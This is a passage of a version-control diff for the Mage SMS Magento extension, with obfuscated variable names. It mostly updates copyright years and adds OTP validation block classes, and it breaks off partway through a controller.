app/code/community/Topefekt/Magesms/Block/Profile.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Profile extends Mage_Adminhtml_Block_Template { protected $_helper; public function __construct() { exit; parent::__construct(); $this->setTemplate('poll/poll.phtml'); $this->setFormAction(Mage::getUrl('*/*/new')); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Profile extends Mage_Adminhtml_Block_Template { protected $_helper; public function __construct() { exit; parent::__construct(); $this->setTemplate('poll/poll.phtml'); $this->setFormAction(Mage::getUrl('*/*/new')); } }
app/code/community/Topefekt/Magesms/Block/System/Config/Apikeygenerator.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_System_Config_Apikeygenerator extends Mage_Adminhtml_Block_System_Config_Form_Field { protected function _getElementHtml(Varien_Data_Form_Element_Abstract $id23e685c18c58238831a9a9f8356004faff20ddc) { $i0fc064cffe35dbf98852d574adf2c91e8ad7190b = parent::_getElementHtml($id23e685c18c58238831a9a9f8356004faff20ddc); $this->setElement($id23e685c18c58238831a9a9f8356004faff20ddc); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $this->getLayout()->createBlock('adminhtml/widget_button') ->setType('button') ->setLabel('Generator new API key') ->setOnClick("document.getElementById('magesms_api_apikey').value = 'xxxxxx-xxxx-yxxx-yxxx-xxxxxx'.replace(/[xy]/g, function(c) {var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);return v.toString(16);});") ->toHtml(); return $i0fc064cffe35dbf98852d574adf2c91e8ad7190b.$id82aaf2f437652c4b6efbd55703199f614e8e516; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_System_Config_Apikeygenerator extends Mage_Adminhtml_Block_System_Config_Form_Field { protected function _getElementHtml(Varien_Data_Form_Element_Abstract $id23e685c18c58238831a9a9f8356004faff20ddc) { $i0fc064cffe35dbf98852d574adf2c91e8ad7190b = parent::_getElementHtml($id23e685c18c58238831a9a9f8356004faff20ddc); $this->setElement($id23e685c18c58238831a9a9f8356004faff20ddc); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $this->getLayout()->createBlock('adminhtml/widget_button') ->setType('button') ->setLabel('Generator new API key') ->setOnClick("document.getElementById('magesms_api_apikey').value = 'xxxxxx-xxxx-yxxx-yxxx-xxxxxx'.replace(/[xy]/g, function(c) {var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);return v.toString(16);});") ->toHtml(); return $i0fc064cffe35dbf98852d574adf2c91e8ad7190b.$id82aaf2f437652c4b6efbd55703199f614e8e516; } }
app/code/community/Topefekt/Magesms/Block/Template.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Template extends Mage_Core_Block_Template { public $profile; public $newversion; public function _construct() { parent::_construct(); $this->profile = Mage::getSingleton('magesms/smsprofile'); } public function getFilterUrl() { $this->getRequest()->setParam('filter', null); $this->getRequest()->setParam('sms', null); return $this->getUrl('*/*/', array('_current' => true)); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Template extends Mage_Core_Block_Template { public $profile; public $newversion; public function _construct() { parent::_construct(); $this->profile = Mage::getSingleton('magesms/smsprofile'); } public function getFilterUrl() { $this->getRequest()->setParam('filter', null); $this->getRequest()->setParam('sms', null); return $this->getUrl('*/*/', array('_current' => true)); } }
app/code/community/Topefekt/Magesms/Block/Template/Template.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Template_Template extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setDefaultSort('date'); $this->setDefaultDir('DESC'); $this->setId('magesms_template_grid'); $this->setUseAjax(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/template')->getCollection(); $i30f20aafde612a957f7f966cb5b85e35782bc88a = ($i8082253d76e74d88c499183ff2cfde28044ae37d = Mage::app()->getRequest()->getParam('type')) ? $i8082253d76e74d88c499183ff2cfde28044ae37d : 0; $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('name', array( 'header'=>Mage::helper('magesms')->__('Name'), 'index' => 'name', 'sortable' => false, ) ); $this->addColumn('date', array( 'header'=>Mage::helper('magesms')->__('Date'), 'index' => 'date', 'width' => '150px', 'type' => 'datetime', 'sortable' => false, ) ); $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE'), 'title' => Mage::helper('magesms')->__('REMOVE'), 'url' => array('base'=> '*/*/template', 'params'=> array('action' => 'remove')), 'field' => 'id', 'onclick' => 'return window.submitRemoveTemplate(this);', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'submitRestoreTemplate'; } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/template', array('action' => 'restore', 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Template_Template extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setFilterVisibility(false); $this->setPagerVisibility(false); $this->setDefaultSort('date'); $this->setDefaultDir('DESC'); $this->setId('magesms_template_grid'); $this->setUseAjax(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/template')->getCollection(); $i30f20aafde612a957f7f966cb5b85e35782bc88a = ($i8082253d76e74d88c499183ff2cfde28044ae37d = Mage::app()->getRequest()->getParam('type')) ? $i8082253d76e74d88c499183ff2cfde28044ae37d : 0; $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('type', $i30f20aafde612a957f7f966cb5b85e35782bc88a); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('name', array( 'header'=>Mage::helper('magesms')->__('Name'), 'index' => 'name', 'sortable' => false, ) ); $this->addColumn('date', array( 'header'=>Mage::helper('magesms')->__('Date'), 'index' => 'date', 'width' => '150px', 'type' => 'datetime', 'sortable' => false, ) ); $this->addColumn('action', array( 'header'=>Mage::helper('magesms')->__('Action'), 'align' => 'center', 'width' => '80px', 'type' => 'action', 'getter' => 'getId', 'actions' => array( array( 'caption' => Mage::helper('magesms')->__('REMOVE'), 'title' => Mage::helper('magesms')->__('REMOVE'), 'url' => array('base'=> '*/*/template', 'params'=> array('action' => 'remove')), 'field' => 'id', 'onclick' => 'return window.submitRemoveTemplate(this);', 'class' => 'action-remove', 'id' => '', ) ), 'sortable' => false, 'index' => 'store', 'is_system' => true, ) ); return parent::_prepareColumns(); } public function getRowClickCallback() { return 'submitRestoreTemplate'; } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/template', array('action' => 'restore', 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
app/code/community/Topefekt/Magesms/Block/Validate.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Block_Validate_Mobile extends Mage_Core_Block_Template { protected function _construct() { parent::_construct(); } }
app/code/community/Topefekt/Magesms/Block/Validate/Customer.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Block_Validate_Customer extends Mage_Core_Block_Template { protected function _construct() { parent::_construct(); $this->setTemplate('topefekt/magesms/validate/customer-ajax.phtml'); } }
app/code/community/Topefekt/Magesms/Block/Validate/Mobile.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Block_Validate_Mobile extends Mage_Core_Block_Template { protected function _construct() { parent::_construct(); } }
app/code/community/Topefekt/Magesms/Block/Validate/Script.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Block_Validate_Script extends Mage_Core_Block_Template { protected function _prepareLayout() { parent::_prepareLayout(); if (Mage::helper('magesms')->isActive() && (Mage::helper('magesms')->getOtpOrderType() || Mage::helper('magesms')->getOtpCheckoutCustomerType())) $this->getLayout()->getBlock('head')->addJs('topefekt/smsvalid.js'); return $this; } public function _toHtml() { if (Mage::helper('magesms')->isActive() && Mage::helper('magesms')->getOtpOrderType()) { $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = 'var magesmsValidUrl = "' . Mage::getUrl('magesms/validate/order', array('_secure' => true)) . '";'; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 .= "Translator.add('OTP SMS','".Mage::helper('magesms')->__('OTP SMS')."');"; return Mage::helper('core/js')->getScript($i3358fd35282548f1f8ccafbf23d60a4ade466fd3); } return ''; } }
app/code/community/Topefekt/Magesms/Block/Wizard.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Wizard extends Mage_Adminhtml_Block_Widget_Grid_Container { protected function _prepareLayout() { Mage_Adminhtml_Block_Widget_Container::_prepareLayout(); } public function __construct() { $this->_controller = 'wizard'; $this->_headerText = Mage::helper('magesms')->__('SMS Settings'); parent::__construct(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Wizard extends Mage_Adminhtml_Block_Widget_Grid_Container { protected function _prepareLayout() { Mage_Adminhtml_Block_Widget_Container::_prepareLayout(); } public function __construct() { $this->_controller = 'wizard'; $this->_headerText = Mage::helper('magesms')->__('SMS Settings'); parent::__construct(); } }
app/code/community/Topefekt/Magesms/Block/Wizard/Grid.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Wizard_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setDefaultSort('ID'); $this->setId('ID'); $this->setDefaultDir('asc'); $this->setSaveParametersInSession(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/routes') ->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); if ($this->getCollection()) { $this->getCollection() ->addCustomerTaxClassesToResult() ->addProductTaxClassesToResult() ->addRatesToResult(); } return $this; } protected function _addColumnFilterToCollection($i75f8edda04d6bdede42ee5632d74834e50512ba7) { if ($this->getCollection()) { switch ($i75f8edda04d6bdede42ee5632d74834e50512ba7->getId()) { case 'tax_rates': $this->getCollection()->joinCalculationData('rate'); break; case 'customer_tax_classes': $this->getCollection()->joinCalculationData('ctc'); break; case 'product_tax_classes': $this->getCollection()->joinCalculationData('ptc'); break; } } return parent::_addColumnFilterToCollection($i75f8edda04d6bdede42ee5632d74834e50512ba7); } protected function _prepareColumns() { $this->addColumn('code', array( 'header'=>Mage::helper('tax')->__('Name'), 'align' =>'left', 'index' => 'code', 'filter_index' => 'code', ) ); $this->addColumn('customer_tax_classes', array( 'header'=>Mage::helper('tax')->__('Customer Tax Class'), 'sortable' => false, 'align' =>'left', 'index' => 'customer_tax_classes', 'filter_index' => 'ctc.customer_tax_class_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/class')->getCollection()->setClassTypeFilter(Mage_Tax_Model_Class::TAX_CLASS_TYPE_CUSTOMER)->toOptionHash(), ) ); $this->addColumn('product_tax_classes', array( 'header'=>Mage::helper('tax')->__('Product Tax Class'), 'sortable' => false, 'align' =>'left', 'index' => 'product_tax_classes', 'filter_index' => 'ptc.product_tax_class_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/class')->getCollection()->setClassTypeFilter(Mage_Tax_Model_Class::TAX_CLASS_TYPE_PRODUCT)->toOptionHash(), ) ); $this->addColumn('tax_rates', array( 'sortable' => false, 'header' => Mage::helper('tax')->__('Tax Rate'), 'align' => 'left', 'index' => 'tax_rates', 'filter_index' => 'rate.tax_calculation_rate_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/calculation_rate')->getCollection()->toOptionHashOptimized(), ) ); $this->addColumn('priority', array( 'header'=>Mage::helper('tax')->__('Priority'), 'width' => '50px', 'index' => 'priority' ) ); $this->addColumn('position', array( 'header'=>Mage::helper('tax')->__('Sort Order'), 'width' => '50px', 'index' => 'position' ) ); $i087550d202ce604e7a8894605fde8d6e87ee4776 = $this->getUrl('*/*/'); return parent::_prepareColumns(); } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/edit', array('rule' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Wizard_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setDefaultSort('ID'); $this->setId('ID'); $this->setDefaultDir('asc'); $this->setSaveParametersInSession(true); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/routes') ->getCollection(); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); if ($this->getCollection()) { $this->getCollection() ->addCustomerTaxClassesToResult() ->addProductTaxClassesToResult() ->addRatesToResult(); } return $this; } protected function _addColumnFilterToCollection($i75f8edda04d6bdede42ee5632d74834e50512ba7) { if ($this->getCollection()) { switch ($i75f8edda04d6bdede42ee5632d74834e50512ba7->getId()) { case 'tax_rates': $this->getCollection()->joinCalculationData('rate'); break; case 'customer_tax_classes': $this->getCollection()->joinCalculationData('ctc'); break; case 'product_tax_classes': $this->getCollection()->joinCalculationData('ptc'); break; } } return parent::_addColumnFilterToCollection($i75f8edda04d6bdede42ee5632d74834e50512ba7); } protected function _prepareColumns() { $this->addColumn('code', array( 'header'=>Mage::helper('tax')->__('Name'), 'align' =>'left', 'index' => 'code', 'filter_index' => 'code', ) ); $this->addColumn('customer_tax_classes', array( 'header'=>Mage::helper('tax')->__('Customer Tax Class'), 'sortable' => false, 'align' =>'left', 'index' => 'customer_tax_classes', 'filter_index' => 'ctc.customer_tax_class_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/class')->getCollection()->setClassTypeFilter(Mage_Tax_Model_Class::TAX_CLASS_TYPE_CUSTOMER)->toOptionHash(), ) ); $this->addColumn('product_tax_classes', array( 'header'=>Mage::helper('tax')->__('Product Tax Class'), 'sortable' => false, 'align' =>'left', 'index' => 'product_tax_classes', 'filter_index' => 'ptc.product_tax_class_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/class')->getCollection()->setClassTypeFilter(Mage_Tax_Model_Class::TAX_CLASS_TYPE_PRODUCT)->toOptionHash(), ) ); $this->addColumn('tax_rates', array( 'sortable' => false, 'header' => Mage::helper('tax')->__('Tax Rate'), 'align' => 'left', 'index' => 'tax_rates', 'filter_index' => 'rate.tax_calculation_rate_id', 'type' => 'options', 'show_missing_option_values' => true, 'options' => Mage::getModel('tax/calculation_rate')->getCollection()->toOptionHashOptimized(), ) ); $this->addColumn('priority', array( 'header'=>Mage::helper('tax')->__('Priority'), 'width' => '50px', 'index' => 'priority' ) ); $this->addColumn('position', array( 'header'=>Mage::helper('tax')->__('Sort Order'), 'width' => '50px', 'index' => 'position' ) ); $i087550d202ce604e7a8894605fde8d6e87ee4776 = $this->getUrl('*/*/'); return parent::_prepareColumns(); } public function getRowUrl($iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $this->getUrl('*/*/edit', array('rule' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())); } }
app/code/community/Topefekt/Magesms/Controller/Action.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Controller_Action extends Mage_Adminhtml_Controller_Action { public $profile; protected $_filterData; protected function _construct() { $this->profile = Mage::getSingleton('magesms/smsprofile'); } public function preDispatch() { parent::preDispatch(); if (!$this->profile->user->getUser()) { $this->setFlag('', self::FLAG_NO_DISPATCH, true); if (!empty($this->profile->_error)) { Mage::getSingleton('adminhtml/session')->addError(Mage::helper('magesms')->__($this->profile->_error)); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Not registered yet? Create account now!')); } $this->_redirect('*/magesms_profile'); } else { $i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('filter')); $i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa = $this->_filterDates($i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa, array('reg_from', 'reg_to', 'birth_from', 'birth_to')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) || is_numeric($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $this->_filterData = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a; } return $this; } public function getBlockCustomer() { $i21e55df616c305955791876c1eb4da83448beba2 = $this->getLayout()->createBlock('magesms/customer_grid'); return $i21e55df616c305955791876c1eb4da83448beba2; } protected function _initAction() { $this->loadLayout() ->_title(Mage::helper('magesms')->__('MageSMS')) ; $this->getLayout()->getBlock('head') ->addCss('css/topefekt/magesms/stylesheet.css') ->addJs('topefekt/functions.js') ; if ($i458778f43fe9c6d565ec84d06bb5438f060a17d8 = $this->getLayout()->getBlock('head')) { $i458778f43fe9c6d565ec84d06bb5438f060a17d8->addItem('js', 'prototype/window.js') ->addItem('js_css', 'prototype/windows/themes/default.css') ->addCss('lib/prototype/windows/themes/magento.css') ->addItem('js', 'mage/adminhtml/variables.js'); } return $this; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Controller_Action extends Mage_Adminhtml_Controller_Action { public $profile; protected $_filterData; protected function _construct() { $this->profile = Mage::getSingleton('magesms/smsprofile'); } public function preDispatch() { parent::preDispatch(); if (!$this->profile->user->getUser()) { $this->setFlag('', self::FLAG_NO_DISPATCH, true); if (!empty($this->profile->_error)) { Mage::getSingleton('adminhtml/session')->addError(Mage::helper('magesms')->__($this->profile->_error)); } else { Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Not registered yet? Create account now!')); } $this->_redirect('*/magesms_profile'); } else { $i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa = Mage::helper('adminhtml')->prepareFilterString($this->getRequest()->getParam('filter')); $i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa = $this->_filterDates($i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa, array('reg_from', 'reg_to', 'birth_from', 'birth_to')); $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = new Varien_Object(); foreach ($i5b3aa260bb208b1f4c5808ffd6ec3b60c98869aa as $i670253c23c6fcba76bc4256a88fdd8fbc1041039 => $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) || is_numeric($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89)) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->setData($i670253c23c6fcba76bc4256a88fdd8fbc1041039, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } } $this->_filterData = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a; } return $this; } public function getBlockCustomer() { $i21e55df616c305955791876c1eb4da83448beba2 = $this->getLayout()->createBlock('magesms/customer_grid'); return $i21e55df616c305955791876c1eb4da83448beba2; } protected function _initAction() { $this->loadLayout() ->_title(Mage::helper('magesms')->__('MageSMS')) ; $this->getLayout()->getBlock('head') ->addCss('css/topefekt/magesms/stylesheet.css') ->addJs('topefekt/functions.js') ; if ($i458778f43fe9c6d565ec84d06bb5438f060a17d8 = $this->getLayout()->getBlock('head')) { $i458778f43fe9c6d565ec84d06bb5438f060a17d8->addItem('js', 'prototype/window.js') ->addItem('js_css', 'prototype/windows/themes/default.css') ->addCss('lib/prototype/windows/themes/magento.css') ->addItem('js', 'mage/adminhtml/variables.js'); } return $this; } }
app/code/community/Topefekt/Magesms/Controller/Template/Action.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Controller_Template_Action extends Topefekt_Magesms_Controller_Action { public function templateAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i1507c94b68f51b22087227858337782550edf618 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('action')) { try { switch ($i1507c94b68f51b22087227858337782550edf618) { case 'saveTemplate': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate()); break; case 'loadTemplate': $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate(false)); break; case 'save': if ($this->getRequest()->isPost()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setData(array( 'name' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('saveName'), 'template' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('text'), 'unicode' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('unicode'), 'unique' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('unique'), 'date' => date('Y-m-d H:i:s'), 'type' => $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('type') )); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->save(); } break; case 'remove': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->delete(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($this->_saveTemplate(false)); } break; case 'restore': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::getModel('magesms/template'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->addData(array('data' => $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getData())); } break; } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } protected function 